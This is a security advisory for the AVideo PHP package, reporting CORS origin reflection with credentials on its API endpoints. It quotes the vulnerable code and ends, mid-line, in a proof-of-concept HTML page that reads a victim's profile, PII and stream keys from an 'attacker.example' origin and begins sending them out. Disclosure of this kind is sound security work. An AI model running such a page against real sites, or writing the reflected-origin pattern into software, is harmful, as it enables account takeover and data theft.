GitHub Security Advisory: GHSA-ccq9-r5cw-5hwq
Package: wwbn/avideo (COMPOSER)
Severity: HIGH (CVSS 8.1)
CWE: CWE-942: Permissive Cross-domain Security Policy with Untrusted Domains
Vulnerable versions: <= 29.0
Patched in: unpatched

Summary: WWBN AVideo has CORS Origin Reflection with Credentials on Sensitive API Endpoints Enables Cross-Origin Account Takeover

Details:
## Summary

The `allowOrigin($allowAll=true)` function in `objects/functions.php` reflects any arbitrary `Origin` header back in `Access-Control-Allow-Origin` along with `Access-Control-Allow-Credentials: true`. This function is called by both `plugin/API/get.json.php` and `plugin/API/set.json.php` — the primary API endpoints that handle user data retrieval, authentication, livestream credentials, and state-changing operations. Combined with the application's `SameSite=None` session cookie policy, any website can make credentialed cross-origin requests and read authenticated API responses, enabling theft of user PII, livestream keys, and performing state changes on behalf of the victim.

## Details

The vulnerable code path is in `objects/functions.php` lines 2773-2791:

```php
// objects/functions.php:2773
if ($allowAll) {
    $requestOrigin = $_SERVER['HTTP_ORIGIN'] ?? '';
    if (!empty($requestOrigin)) {
        header('Access-Control-Allow-Origin: ' . $requestOrigin);
        header('Access-Control-Allow-Credentials: true');
    } else {
        header('Access-Control-Allow-Origin: *');
    }
    // ... allows all methods and headers ...
    return;
}
```

This is called unconditionally at the top of both API entry points:

```php
// plugin/API/get.json.php:12
allowOrigin(true);

// plugin/API/set.json.php:12
allowOrigin(true);
```

The comment above the code claims "These endpoints return public ad XML and carry no session-sensitive data" — this is incorrect. The same `allowOrigin(true)` call gates the entire API surface.

The attack is enabled by the session cookie configuration at `objects/include_config.php:144`:

```php
ini_set('session.cookie_samesite', 'None');
```

This ensures the browser sends the victim's session cookie on cross-origin requests, which the API then uses for authentication via `$_SESSION['user']['id']` (in `User::getId()`).

When a logged-in user's session is present, the `get_api_user` endpoint (API.php:3009) returns full user data without sanitization for the user's own profile (`$isViewingOwnProfile = true` bypasses `removeSensitiveUserFields`), including:
- Email, full name, address, phone, birth date (PII)
- Admin status and permission flags
- Livestream server URL with embedded password (API.php:3059)
- Encrypted stream key (API.php:3063)

The recent fix in commit `986e64aad` addressed CORS handling in the non-`$allowAll` path (null origin and trusted subdomains) but left this far more dangerous `$allowAll=true` path completely untouched.

## PoC

**Step 1:** Host the following HTML on any domain (e.g., `https://attacker.example`):

```html
<html>
<body>
<h1>AVideo CORS PoC</h1>
<script>
// Step 1: Steal user profile data (PII, admin status, stream keys)
fetch('https://TARGET/plugin/API/get.json.php?APIName=user', {
  credentials: 'include'
})
.then(r => r.json())
.then(data => {
  document.getElementById('result').textContent = JSON.stringify(data, null, 2);
  // Exfiltrate to attacker server
  navigator.send